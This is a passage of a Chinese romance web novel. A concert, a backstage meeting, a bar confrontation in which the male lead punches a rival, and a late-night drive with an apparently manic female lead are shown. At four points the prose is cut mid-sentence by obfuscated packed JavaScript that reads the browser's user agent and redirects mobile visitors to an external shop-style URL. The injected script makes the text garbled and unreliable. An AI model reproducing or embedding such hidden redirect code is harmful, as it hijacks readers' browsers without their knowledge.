演唱会的妆容比平时更加浓艳夺目,利落眼线与碎闪眼影相得益彰,挑染过的波浪卷茂密蓬松,双唇苹果般红润,带着点慵懒的笑意从她的双眸里溢出来,聚光灯照得她浑身都泛着光,惊人的美貌使得大半场馆爆发出一阵尖叫。 “洛白怎么这么漂亮!!!!” “美神降临啊啊啊啊啊啊啊啊!!” “天啊小洛白今天的状态也太好了吧!” “非常感谢大家来看这场演唱会。”洛白的语气和私下里全然不同,洋溢着一些活泼灵动的意味,“大家今天开心吗?” “开心!!!!!” 来自全场的回应。 她的笑容格外明媚:“希望大家可以享受接下来的表演~” 她在又一阵尖叫里把话筒递给了工作人员。 灯光倏忽熄灭,再亮起时伴随着强烈的鼓点,COSINE的下半段表演便由此开始。 乔时青专注地看着她的表演。 他看到她几乎浑身都放着光芒。 每一个特写镜头都充满了极致的魅力。 他到这时候才觉得,那些尖叫声再大都不为过。 他甚至还在不远处看到侧边位一个观众高举着一个白板,上面写着“洛白请扇我巴掌!” 真是……层出不穷…… 不过叫他意外的是,洛白在表演间隙看到了那个白板。 她微侧脑袋,一手轻抬,竟然真的做了一个扇巴掌的动作。 末了,她又笑了下。 那个粉丝激动地几乎要把白板掰碎。 19. 后台 “EVERYBODY,PUTYOURHANSUP!” COSINE的五首歌表演结束后,ID当家男团SINE以极其张扬的姿态踏进舞台。 “啊啊啊啊啊啊啊啊——!” “我死了!!!” “许诺的脸太伟大了——!!” 又一阵尖叫与呐喊像突起的海啸般席卷过整座场馆。 这样一场演唱会下来估计至少一半的人嗓子都会哑。 “晚上好各位,好久不见了。”队长徐安临率先发言,“欢迎大家来到新源。刚才的歌都有跟着唱吧?” “有——!!!!!!” 简言之说:“今天除了我们心爱的粉丝之外,还有不少我们的朋友到场,非常感谢你们的捧场。” 许诺这个从来都是看热闹不嫌事大的家伙深吸口气,在简言之话音未落之际就大喊道:“齐彷——!” 大屏刷得一下出现了一个戴鸭舌帽的男人。 同时一阵惊叫涌起。 他显然有些错愕,但还是点点头,向镜头努出一个微笑。 “嗯。彷哥今天特地刮了胡子来的。”简言之说。 乔时青有不好的预感。 果然又听许诺大喊:“乔时青——!” 乔时青:“……” 大屏幕闪了一下,他就看见自己被镜头锁定了。 “啊啊啊啊啊——!!!!” 声嘶力竭的尖叫声几乎要把他喊聋了。 “乔时青?!!!” “真的是乔时青——!!!” “今天也太值了吧啊啊啊啊!” 余光能瞥见不少手机都对准了他。 许诺抬手挡住光四处看:“哦原来你坐在这儿呢。” 乔时青便在众目睽睽中摘下口罩,冲镜头挥了挥手。 “啧。我乔哥真帅。”简言之说。 随后许诺又全场大点兵似的喊了几个名字,搅得本来就气氛火热的场馆更加火爆,大家都极度振奋。只有他们这几个被点名的人弥漫着淡淡的尴尬。 闲聊环节之后,SINE又表演了两首歌。 但在这期间,原本在乔时青周身尖叫不断的粉丝陷入诡异的安静,她们的说话声都压低了很多。那些对着他的手机也没有减少。 行吧。也差不多了。 为了不打扰其他人看演唱会,乔时青起身绕过一些人,从侧门走了出去。 一出会场,耳朵倏忽清静了下来。 乔时青摁了摁自己的耳朵,掏出手机发现好几条未读消息。 [许诺:演唱会结束后大家一起吃夜宵啊] [简言之:彷哥都坐得住,你居然先溜了] [周坤回:在哪儿呢?来ADK喝酒] [周坤回:WOC,夏轩姚启搁这吹牛X呢] “乔老师。”又是刚才那个给他发应援棒的工作人员,他笑眯眯地说,“去后台休息一下吧?我带你过去。” “入场的时候你就认出我了?”乔时青问。 “我是你的粉丝。”工作人员有点不好意思,“其实你化成灰我也认得出来,何况只是戴了个口罩呢。” 乔时青:“……那你眼力确实不错。” 绕到后台,氛围比想象中更热闹。 毕竟他们ID一整个公司的艺人几乎都在这。 不少工作人员忙里忙外,目不暇接的演出服一列一列拉进去。 “我的麦还没戴好呢。” “帮我拉下拉链。” “姐姐,可以帮我补一下眼妆吗。” 几个眼生的艺人匆忙的身影从他跟前掠过。 “我之前怎么说的?这套要搭配马尾,你把刘海卷起来,链子呢?我之前专门让她带的锁骨链快点找——哎哟,乔时青?” 一个穿风衣的瘦削男人停住了他的挥斥方遒,“稀客啊。你居然会来看我们ID的演唱会。” “你们的演唱会又没有观看门槛。” 林生一抱臂,从上到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997177|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下挑剔起他:“LAN、GLACIER、MAR,看来离开我以后,你还不算太糟蹋自己。” 乔时青也上下扫了他一眼:“你倒是挺糟蹋自己。” 林生一下意识就捂住自己的下巴,抽了口冷气小声说:“难道是胡子没刮干净?——不对,我是今天太操劳了。人都累憔悴了。” 林生一最早在上嘉工作,是乔时青的专属造型师,前几年才被重金挖到ID来。这几年给ID的艺人打造了不计其数的出圈妆造。不得不说,ID的老板还是比上嘉的老板会看人。换作是ID,除非林生一自己非要走,否则ID是死都不会放人的。 林生一凑到化妆镜前瞟了眼自己得体又利落的造型,转过头刚想和乔时青还嘴,但后者早就拔腿离开了。 他按照工作人员的指引来到休息室门口。 “乔老师,你在这里稍微休息一下。”工作人员说,“要是想再回去看演出,我们可以给你安排包厢的位置。” “不用了。你去忙吧。” 乔时青握住门把。 转动,开门。 “咦。你怎么不继续看表演了?” 她的声音穿透整条长廊的聒噪清澈地从他背后传过来。 乔时青的手上动作顿住。 他转身面向她:“该看的都看了。”。 “是这样啊。”洛白像是在理解他的言下之意,“那你看了我的演出吗?好看吗?” 乔时青有些许讶然,洛白会问自己这样的问题。 不过他还是说:“当然。” 洛白嫣然一笑:“一会儿演唱会结束了,一起去玩吧?很热闹的。我觉得。” 乔时青很少有沉默的时刻。 但面对洛白突如其来的热情,他只能带着些疑惑,沉默地看着她。 他看清她的眼里闪烁着雀跃而兴奋的光彩。 这种目光,陌生却又熟悉,让他想起…… 初次见面。 那时她便是用这种目光锁住他。 20. 私约 洛白目不转睛地回望他:“怎么这样盯着我?” 乔时青还没措好辞,她的手机便响起来。 在洛白拿出手机,接通语音电话放到耳边的那几秒间隙,他看见屏幕上的署名。 “夏轩”。 “夏总。嗯……”洛白说,“我大概还要一小时……好啊……嗯……” 乔时青半靠在墙上,听她的语调,好像聊得不算勉强。 等洛白收起手机,乔时青才开口:“他找你有事儿?” “嗯。他邀请我晚上去ADK酒吧,和他的朋友一起玩。”洛白想了想,“我现在对新源不是很熟,这个ADK应该离这里不算远吧?” 乔时青:“……你要去?” 洛白点头:“去呀。听起来蛮有意思的。” “蛮有意思……?”乔时青无法从她简短的话语里筛出一些让自己放心的信息。 “嗯。你呢。你也去吗?” “我去。” “洛洛——你在哪儿啊?准备去谢幕表演了——” 洛白向走廊那边张望,扬声说:“我在这儿,我就过来了。” “那我先走啦。” “谢幕以后再一起玩。” 她丢下两句话,便扬长而去。 谢幕合唱所有艺人都要参加,后台一下子空荡清净了不少。 乔时青几乎是有些发懵地坐在沙发上。 他认识的洛白真的会对夏轩的邀约感兴趣? 刚才与她的照面像雨滴一样打在他身上。 或许他根本不认识洛白。 乔时青打开手机,又点进洛白的微博主页。 最新贴文是今天下午发的。 [超级期待今晚与你们见面哦~!] #ID新源演唱会 (配图)(配图)(配图)] 上一篇则是一个月前发的。 [分享图片 (配图)(配图)(配图)] 有些她自己拍的风景照。 人像照里,她微笑恬静,或者没有表情。 中间穿插了几条团队代发的广告。 再往前的原创内容是两个月前发的。 [最近好热,想吃冰块] [杀青啦] [分享图片] [想睡到自然醒] [分享图片] [不想过夏天,想直接到秋天] [期待今晚与你们见面] [Plog] [拍了一些没有技巧的照片] 乔时青又划到最新的帖文,发现评论比之前看的时候增长了两倍不止。 [妹妹今晚好棒!] [呜呜呜呜呜太明媚动人了!我的小洛白大声唱!] [十秒的直拍已经刷了一百遍,谁懂!] [今晚的状态简直太好了宝贝!] 对。是状态。 她的状态让他觉得陌生。 可洛白最早便是以这样的状态走入他视野的。 跳脱。热烈。有些语无伦次。 那时他以为她的性格便是这样。他只当是有趣。可他现在又觉得,她分明不是这样。 乔时青鬼使神差的,又点进她的朋友圈。 【朋友仅展示最近三天的朋友圈】 好吧。 一阵聒噪又自远而至传过来。许多人陆陆续续从舞台跑下来。 首当其冲便听到简言之的声音:“呜呼——!结束咯!” “最后那里你差点嘴瓢。” “哎谁的耳环掉台上给我捡到了。” “我看到有个粉丝举要我翻白眼的牌子。” “好饿……” “佳念姐!等等我嘛。” “哎洛洛呢?” “哇好累啊——” “早知道上台就不塞那一口麻薯了,高音那里差点没飙上去” “好啦别社死回忆了。” “一会儿去哪啊?发个定位啊。” “乔时青。” 有人在转角很轻地叫了他一声。 他转头。 洛白像猫似的探出一个脑袋,一手扒住墙,一手冲他小幅度地招了招。 乔时青有些好笑,还是走过去:“为什么要藏?” “我们的目的地和他们不一样。”洛白说。 “为什么不和他们聚,反而要去找夏轩。”乔时青问。 洛白领着他走另一条廊道下楼:“聚会里有不想看见的人呗。” “那你就想看夏轩?” “这话什么意思。”洛白刹住脚步,双唇抿抿就是笑,“难道你介意我和他玩?你吃醋?” 乔时青深深看她一眼:“你想我怎么回答?” 洛白不置可否,像是在思考:“夏轩总是给我发消息,让我和他约会。很烦。但是呢。现在我又很想去玩。所以就刚好。我想找个人陪我玩你知道吗?” “我陪你玩。”乔时青说。 - 晚十点,ADK酒吧。 一进门就听见熟悉的音乐,六七个人站在舞池中央踩着鼓点跳舞。 “这是我的歌哎。”洛白惊喜道,“我也想上台跳。” 她说着真的往舞池去,乔时青叫住她:“洛白。” “嗯?”洛白看他。 乔时青还是问:“你是不是喝醉了?” 缭乱的光线映出她清丽的面庞。洛白身上那道比平时更浓烈的香气随着她的靠近肆意地扑向他。她格外无序地贴近他,眼周亮片泛着细腻夺目的碎闪:“那你闻闻我身上有没有酒味?” “很重。”乔时青说。 “这是酒吧的味道。不是我的。”洛白笑了下,向调酒师说,“你好,我要两杯长岛冰茶。” “太烈了。”乔时青皱眉。 ADK的长岛冰茶有三十度,后劲很强。 他不认为她现在的状态适合喝这种酒。 “烈?”洛白又对调酒师说,“他不喝了。麻烦你给换他一杯雪碧。” 乔时青:“……” 洛白坐在高脚凳上,拿出震动许久的手机。 她低下脑袋,右耳耳环的流苏也晃荡了下:“夏总?有事吗……啊,我反悔了……但我现在不想和你玩……什么?我听不见?——啊,我找到人陪我玩了……” 不知道电话那边说了什么,洛白像是有些败兴似的努努嘴,挂了电话。 “他对你说什么了。” “管他呢。” 洛白接过调酒师递来的酒,仰脖便喝。 刚喝了一口,加满冰块的酒杯便被面前的男人拿走了。 “别喝了。我送你回去休息。工作一天也累了吧。”他说。 洛白一手撑着下巴,瞬也不瞬地望着他:“你怎么了?你以前不是这样的。记得吗。去年我们也在一个酒吧。我们一起喝了很多酒。” 乔时青当然记得。 那时他们也在类似ADK的会员制酒吧。 她照例点了长岛冰茶开头。 他问她酒量怎么样。 她便笑:“比你好。” 乔时青稳稳心神才说:“当时我以为你是爱喝的那一类人。现在看来不是这样。” 洛白歪了歪头:“怎么不是呢?” 她放在桌上的手机又震动起来,“夏轩”的名字大亮。 乔时青把酒还给她:“来都来了,我去和他打个招呼。你在这等我十分钟。” “可以啊。但是不要迟到。”洛白说。 乔时青走到电梯口扯住从楼上VIP包厢下来的侍应生:“帮我照看一下她。” 侍应生顺着他的目光锁定目标,点点头:“好的,乔少。” - “在哪在哪,不就在老位置吗?2406啊。” “啊?上来了啊,行。” 周坤回挂了电话,大声冲着身侧几个男人道:“今天我请客,哥几个随意啊。” 夏轩放下酒杯:“不,今天我请。” “怎么着,你有喜事啊?”周坤回开了一瓶威士忌。 夏轩长腿一翘,得意地扬起唇:“势在必得了。” “就你刚说那个艺人?” “长什么样有照片没?没听过名字啊。” “你让人家来喝酒,人家都不来。还势在必得呢。” “来了啊。跟我闹别扭不肯上来呢。小陈,你下楼去接一下。”夏轩调出一张照片递给他们看,“喏。这上次吃饭时我拍的。” “wok,光侧脸就这么好看啊?” “这妹子气质绝佳啊。” “夏轩你可以啊。” 传到周坤回这儿,他接过一看,不得了了,讶然道:“洛白?你们已经好上了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007262|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “还没,不过我看她马上就会答应了。总之没什么差错了。”夏轩吊儿郎当地说,“所以今天我请客,算是提前庆祝。” 周坤回纳闷地看着他。这夏轩还是一如既往不靠谱。一场演唱会也没耐心看完,就过来在这半场开香槟了。总之一种不太好的预感促使他拒绝了夏轩的好意:“不,还是我来吧。不过话说这个洛白,就是最近和阿青拍戏的那位吧?” “没错。”夏轩耸肩,“——嘿,所以我才特别想把她追到手。” 这时两个侍应生推开了包厢门,一个身穿藏蓝色外套的男人逆着走廊的光迈步进来。周坤回冲他招手:“来啦?坐这儿。” “不了。”乔时青扫视了一圈,最后把目光落在了正中央的夏轩身上。 姚启一看他的神色,久违地感受到了一种熟悉的、极具压迫感的危险气息,不由得默默往旁边移了一下位置。 乔时青抬腿,快步走到夏轩身前,居高临下地看着他。 夏轩眼睛一晃,站起来:“你想怎样,乔二?” 乔时青的神情比较温和:“离我近点。” “什么?” “过来。” 头皮有些发麻,但夏轩的身体斯德哥尔摩式地朝他走了两步。 “糟了!”周坤回眼神一紧,立马站了起来。 但还不等他来得及赶过去拉住乔时青,后者单手握拳照着夏轩的脸就打了过去。夏轩身形不稳时衣领又被乔时青抓住,他冲着他的胸口便是一个膝击,而后夏轩就被反扔在了地上。 电光火石众目睽睽间,夏轩猝不及防被揍了,脸颊还被乔时青强按着抵在地毯上。 乔时青的声音在他耳边,显然有点愠意:“不是提醒过你么?给脸不要脸?” 周坤回拉住乔时青:“哎你干嘛呢?难道要把人打进医院啊?” 夏轩想扭头瞪他,但又挣扎不开:“乔二,有本事你把我放开!” 乔时青猛地松开他,瞟了周坤回一眼:“我有理智,知道分寸。” 周坤回:“呵呵……” 乔时青站起身,扯了下自己的外套,甩了眼在地上喊痛的夏轩:“站起来。” “你他妈是人吗?上来就打?我还站得起来?”夏轩骂了两句,开始在地上喊痛。 乔时青无动于衷:“起不来我动手了。” “行行行,起来,老子这就起来。”夏轩搭了姚启一把手,坐在沙发上龇牙咧嘴。 “跟我出来。”乔时青丢下句话便转身往外走。 夏轩脸上挂不住,也不想在待在这,冷哼了一声:“切。出来就出来。” 留下莫名其妙一群人,尴尬中又带着点暗爽,暗爽中又带着点想发朋友圈的心情。 周坤回干笑了两声:“呃,哈哈哈,就说我请客嘛。” - 在过道休息区的软沙发上坐下来,乔时青要求夏轩拿出手机。 夏轩本想抵抗,但身边人不容置疑的目光以及颧骨的疼痛让他选择了从善如流。 “我给你三分钟,你编辑一条消息。以对洛白的道歉和道别为中心。” “靠。跑我这微信代写来了。” 夏轩郁闷地打开微信,模模糊糊知道症结在哪里了—— 难道这洛白,还是朵带刺的白玫瑰? 夏轩写了一段递给乔时青。 “重新措辞。” “什么?”夏轩一转头看见乔时青威胁性的眼神,低下头去重新措辞。 改了一些递给他看。 “我说重新措辞,你听力有问题吗?” “这就是重新措辞的啊。”夏轩磨磨蹭蹭把手机拿回来,小声说,“我觉得已经不错了,感觉自己都绅士了不少……要不然,你说什么我写什么好了。” “自己写。”乔时青一口否决,看了眼时间又说,“提高效率。” 有危险武器坐在身边持续性威胁,夏轩继续妥协了两遍,他审视了两遍:“洛小姐,非常抱歉这段时间给你造成的不便。既然你有意拒绝,我也不好多做挽留,希望你前程似锦。夏轩。” 乔时青这才勉为其难地点头:“一会儿把这个一字不动地发给她。” 夏轩看看这个草稿,又瞧瞧他。 从小就乔时青不对付的夏轩此时恍恍惚惚间生出了一种感觉。 “你——你——难不成是因为洛白才来揍我?” 21. 躁狂1 在乔时青有所回应之前,夏轩先被自己这种说法震惊到,他撑着椅子站到乔时青身前时,已经被自己想出来的来龙去脉石化了。 这时周坤回叫住了他们:“哎你们俩——聊好了么?” 乔时青也不绕道,倏然起身撞开夏轩走到周坤回身边:“我还有事先走,你们继续玩吧。” “被你这么一搅和,谁还待得住啊?”周坤回猛然凑到他脸前,幽幽地开口,“你今天抽的什么风啊?见义勇为?就因为她是你新戏的同事?” “有必要这么在意吗?”乔时青伸手推开他,往楼梯口的方向走。 周坤回一个健步拦住他,嘴角是忍不住的疯狂上扬:“你大爷的,你该不会是顽石开窍了吧。” 乔时青挡住他下楼的步伐:“你别跟着我。” 周坤回伸长脖子一扫,立刻就看见坐在吧台边喝酒的洛白,他挑眉:“那可不行,我也得跟着去打声招呼。” 乔时青不紧不慢拉出信用卡账单放在他面前:“那这七位数你自己还?” 周坤回立马弯腰做出一个请的手势:“乔总!慢走不送!” - 默默为某女明星挡下第三个要来搭讪的男人后,侍应生总算可以收工了。 “你好准时。”洛白看了下时间,“刚好是第十分钟。” 乔时青扫一眼,长岛冰茶已经见底,还喝了三杯shot。 洛白给他看自己的手机:“你看。夏轩突然给我发了这个。刚才你们说了什么?” 乔时青言简意赅:“谈心。” 洛白笑起来:“我听不清你在说什么。” 背景音乐很吵,置身灯光摇曳混乱的场景,他还是能敏锐地察觉到不少人都在悄悄看他们。刚才的事估计很快会传下来。 乔时青说:“走吧。我送你回酒店休息。忙了一天也累了吧。” “不累。我一点儿也不累。”洛白说,“说实话。我可以再开两场演唱会。我还可以爬三座山。拍五场戏。” 乔时青静默片刻:“你有心事吗?还是说,你不开心?” “恰恰相反。”洛白说,“我很开心。而且我很久都没有这么开心了。” 他凝视着她,却无法从她的表情里挖掘出更多情绪。但她的笑容以及她放着异彩的双眸依旧让他感到异样。他不相信她此刻真的有她嘴里说的那样开心。 “别用这样的眼神看着我。”洛白随手捋了下长发,语气淡了一些:“如果你不情愿和我玩,那你走好了,我可以自己玩。” 她撑着桌台一角懒懒起身,作势往外走。 迈一步。 “我和你玩。” 是他无奈又妥协的声音,“自愿的。行吗?” 洛白回头时嘴角已经上扬,她那双鹿一般的眼睛盯着他,透着些许狡黠:“那还等什么,走吧。” - ADK酒吧单向斗殴事件发生的半个小时之后,“乔时青为女星洛白同夏轩大打出手,竟是因为洛白钟情夏轩?因爱生嫉,令人震惊!”这则消息在夏轩单方面的添油加醋之下,已经在新源的社交圈里传得七七八八了。 “你这样谣传,能有人信吗?”姚启说。 夏轩翘起腿,嘚瑟得很:“我传的消息,哪里有人能说假?” “但是口口相传之中,大家都默契地把自己不相信的那一部分去掉了。”姚启拿起手机往夏轩面前一摆,“你看,宗智给我发过来的。” 夏轩往前凑了凑,他精加工的谣言居然已经变成“世界奇迹!乔时青竟然谈恋爱了!还把夏轩揍了一顿!”这样的版本。 夏轩:“……” 姚启不由感叹道:“啊……不得不说真是铁树开花啊……” 夏轩和姚启不约而同想起了那段被乔时青冷嘲热讽的岁月。 ——多感慨! 记得以前刚谈恋爱,正冲他嘚瑟的时候,乔二只是冷眼看他们:“蠢货才会在这种无聊的事情上浪费时间。” 那段时间,两个人正优哉游哉地过着小公子哥的挥霍生活。 而乔时青则分身乏术地准备着各种训练以及考试,据说每天都要学习到深夜。 夏轩要嘲笑他变成书呆子,乔时青打断他:“一天到晚无所事事,你和寄生虫有区别?” 不久在乔家老爷子寿宴,他们又起了争执。 因为乔时青又用恼人且自视甚高的姿态嘲讽他们:“没脑子的活得就是自在。” 宁岚制止他,厉声道:“乔时青,你说什么呢!” “我又没说错。” 夏轩撩起袖子大声道:“你不要看不起人啊!” “你有哪里让我看得起?” 后来等夏轩终于拿到名校Offer,跑到乔家打算跟他耀武扬威一番,宁岚却居然说——乔时青被星探挖掘去当演员了。 - 寒露一过,天气就凉下来了。 踏出ADK的门,秋风便裹着几片落叶扑过来。 洛白下半身一件黑色热裤,上半身一件吊带,穿搭显然和这个温度格格不入。 “冷吧?” “冷。” 但她拒绝了他的外套。 “我要穿适合我的衣服。” “嗯……?” “陪我买衣服吧。”洛白踩着马丁靴就往另一个方向走。 乔时青快步追上:“等等。” 洛白抱住自己几乎要发抖的双臂,长发被风吹得有些缭乱:“不可以吗?” 乔时青还是拿外套裹住她单薄的身体:“我的意思是,我载你去。” 晚上十一点。 大部分商场都已经打烊,乔时青驱车停在了一间服装工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019667|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室的门口。 工作室是实木风格,壁灯发出暖黄调的光。 “你看上什么就拿吧。”乔时青又按开一盏灯。 洛白走向琳琅满目的衣架:“嗯?直接偷吗?” 乔时青因她认真而无辜的问题忍不住要笑,还是解释说:“店长下班了。明天会让店员清点好把账单发过来的。” 洛白恍然似的点点头,拎起一件:“这件好不好看?” 他走近她,打量她手里那件又短又窄的链条皮裙:“挺好看的……但是会冷吧?” “只要好看就行了。”洛白说。 她又按照她的逻辑挑了几件,欢欣雀跃地去试衣间。 乔时青半倚在桌边,等了五六分钟,里面依旧没有动静。 现在这种怪异的情景,隔这么些时间没见到她的身影,他总是有点莫名的担心。 他走进走廊,发现试衣间里面没有开灯。 “洛白?” “……” 乔时青敲敲门:“遇到麻烦了?” 里面没有回应,他侧耳细听,只听到拉链的声音。 “是拉链卡住了吗?” “嗯。不知道为什么。卡住了。”她疑惑的语气在一室静谧里格外温软,“……你可以帮我吗?” 乔时青愣了下,他还没反应过来,洛白就推开了一半试衣间的深棕色布帘。 “……不开灯吗?” “不想。” 走廊的灯只能照到试衣间一角。 乔时青将她垂落的长发拨到肩前,目光聚焦在她肩胛骨下方的裙子拉链,一手拈住链牙,另一手稍微用点力把错位的拉片扯回原位,顺滑地把拉链拉到顶,松手。 “好了。”他说。 她仰起头看他,眼底清晰泛红。他不知道她在想什么。 只是这种目光让他莫名以为她在透过他看另一个人。 但乔时青的思考能力很快便被全部抹杀了。 因为下一秒,她就毫无预兆地吻上了他。 - 柔软又温凉的触感压在他的双唇。 乔时青的大脑空白了几秒。 在那几秒里,洛白伸手覆住他的脖颈,手心洞悉他骤然加快跳动的脉搏。她借力贴近他,龙舌兰残留的气味像香烟的余烬向他缠绕过来,将他越束越紧。 乔时青终于按住她的双肩推开她。 他稳住自己的呼吸问她:“你……怎么了?” 她摇头,又踮起脚靠近他。 她再度吻上他的前一秒,乔时青侧过了脸。 她的双唇停在他唇角的位置。 洛白就那样顿在那里。 - 好几秒过去,她依旧在看着他,只是声音有隐隐哭腔:“不要推开我。好不好。” 乔时青不可能无动于衷。 22. 躁狂2 他回头看她。 她明明好端端地站在他面前,他却觉得她像一个溺水者。 他抬手轻轻环住她的肩膀,将她搂进自己怀里。他发现她的身体纤弱且冰凉,她在自己的怀里抑制不住地颤抖。 “出什么事了吗。告诉我,我来帮你解决。”他说。 洛白低头抵着他的肩,用尽力气紧抓着他的衣服,明明说话都哽咽却还是摇头:“我……没有什么事。” 乔时青叹了口气,手掌覆在她的脑袋上:“不说就不说吧。” 片刻,他察觉她不再发抖,又问:“你累了吧,我送你回去休息?” 洛白深吸口气,抬起头时鼻尖眼角还是通红的,她松开他:“可是,回哪里?” “剧组的酒店?” 洛白摇头,沉默两秒突然说:“去爬山怎么样?” “嗯?” 新源沿海,一马平川。 哪里有山可爬? 乔时青说:“新源的山最高也只有几十米。” 洛白说:“新陵有山。” 乔时青看了眼时间。十一点四十二。 “你确定你现在想去新陵爬山?”乔时青说。 洛白很认真地点头:“桃山夜爬。” - 新源。 林晓低头扣紧外套纽扣,还是被秋风吹得抖了一下:“念姐,接下来咱们去哪儿?总不会这个点还要回新陵吧?” “李哥给安排了酒店。明天我们再一块回新陵。”程佳念边掏手机边回头张望,“金灵呢?” “她?早被她那个总裁男朋友接走了。”顾若敏从餐厅出来,三步并作两步上来挽住她的胳膊。 程佳念又看了眼手机:“奇怪,洛洛怎么到现在也不回消息?” 演唱会谢幕不久她就给洛白发了聚餐的地址,结果现在局都散伙了,别说洛白的人影,连条消息她也没收到。 “洛白本来就孤僻,不想聚餐合情合理啊。”顾若敏说。 “她助理也说她没回消息。按洛白的性格,如果不是出什么事了,肯定会及时回消息的吧?” “那么大个人了还能丢了不成?别操心她了。” 顾若敏话音未落,肩膀就被什么人撞了下。 一个瘦削高挑的身影擦着她轻飘飘地过去了。 “谁啊?没长眼睛呀?”她不悦地说了两句,睁眼看清身前的人又收敛起来,“啊,彷哥。你也准备回去了?” 那人低头,自顾自点烟,没有回答。 装什么聋子。视帝了不起么。 顾若敏心中暗骂。 “哦哟,国民女团五缺二。你们还杵在这儿干嘛呢?” 一听就知道是许诺。 “等车。”程佳念说。 “一会儿跟你诺哥继续玩?”许诺说。 顾若敏刚想答应,程佳念就按住她:“谁跟你去鬼混,我们明天下午还得开新歌的会呢。” 聚餐的艺人们不断从餐厅里出来,纷纷打过招呼,陆陆续续坐车离开。 剩下为数不多的几人还等在门口。 “彷哥,我要火。”合格慢吞吞地走到齐彷身边,伸手。 齐彷没给,看他一眼:“开始抽烟了?” “啊?”合格懵了下,掏出一根烟花棒似的东西,“我是想玩这个。” “合格,你多大了还玩这种东西。”顾若敏在一旁说。 合格郁闷地看了她一眼。 齐彷把指间的香烟衔进嘴里,掏出打火机拇指拨动,铛得一记清脆声响,火焰跃然。 他抬另一只手护住火焰,小心点燃烟花棒:“去玩吧。” 一边几个人不约而同闭嘴看完了烟花棒被点燃的全过程。 “也就你彷哥乐意给你玩。”许诺说,“我建议你下辈子当他儿子。” 合格满心满眼都是自己的烟花棒,完全不搭理他。 齐彷默默说:“我会考虑结扎。” 许诺:“……” “哎,怎么晚上一直没见洛白啊?”简言之快步从里间出来,“转了一圈儿也没看见人影。” 齐彷掐灭烟头,淡淡说了句:“她没来。” “怎么了简言之,又开始担心你家洛白了?”顾若敏调侃道。 林晓接茬说:“一顿饭不见就这么着急啊?” 简言之给洛白打电话,对面一直无人应答:“我的电话也不接,真是胆大包天了。” 许诺开玩笑似的口吻:“乔时青那家伙也没影了,搞不好就和小洛白在一块呢。” “你以为人都跟你似的。”简言之甩他一眼,“专门坑蒙拐骗无知少女。” - 新源距新陵两百公里左右,走高速过大概三个多小时。 凌晨时分,高速路上偶有几辆车穿行而过。 “今天开演唱会,昨天应该没怎么睡吧?”乔时青抽空看她一眼,“你真不困?” “我这一周基本上只睡四五个小时。昨天没睡。”洛白算了算又说,“但是我现在一点儿也不困——还是说你困了?你要是困了——” “我倒是不困。”乔时青说,“我只是没想到你精力这么充沛。” 洛白笑了笑:“我也没想到。我现在有力气做很多事。” 她这下又像个没事人一样。 仿佛一小时前在试衣间强吻他的人根本不是她似的。 乔时青满脑子都是被她亲的画面。 而副驾驶座上的洛白倒和局外人一样,哼着歌心无旁骛地看车窗外的夜景。 有什么好看的?一片漆黑。 还不如看他。 “今晚的天好晴啊。”她突然说。 乔时青心不在焉地应了一声,想到什么又问:“你是新陵人?” “算是吧。我在新陵长大。”洛白说。 “住在桃山附近?” “不,我住在玉湖旁边——可以开音乐或者电台吗?太安静了有点受不了。” 随机一个频道的深夜电台,有主播在读听众来信。 又是一场虐身虐心的爱情故事。 俗套,难评,但好在有个声音当背景。 一路开进新陵市区,洛白很快发现路线和她预想的有所出入。 “这不是去桃山的路。”她望向他。 是去玉湖的路。 “洛白。我们不能去爬山。” “为什么?” “太晚了。已经三点了。”乔时青不看她,方向盘打一半转弯,“你需要休息。” 洛白沉默了几秒:“你……你是要送我回家吗?” “嗯。可以吗?” - 洛白的家比乔时青想象得更冰冷一些。 装修是冷色调的,家具也有棱有角。皮质沙发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027610|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随意丢着男生的外套和背包。 “嘘。”洛白指了指走廊那头的卧室,“我弟已经睡了。” 她轻手轻脚地走过去,悄悄关上卧室的房门,舒了口气:“这样就不会吵醒他了。” 洛白走回客厅时,乔时青正站在玄关处看摆在一旁的照片。 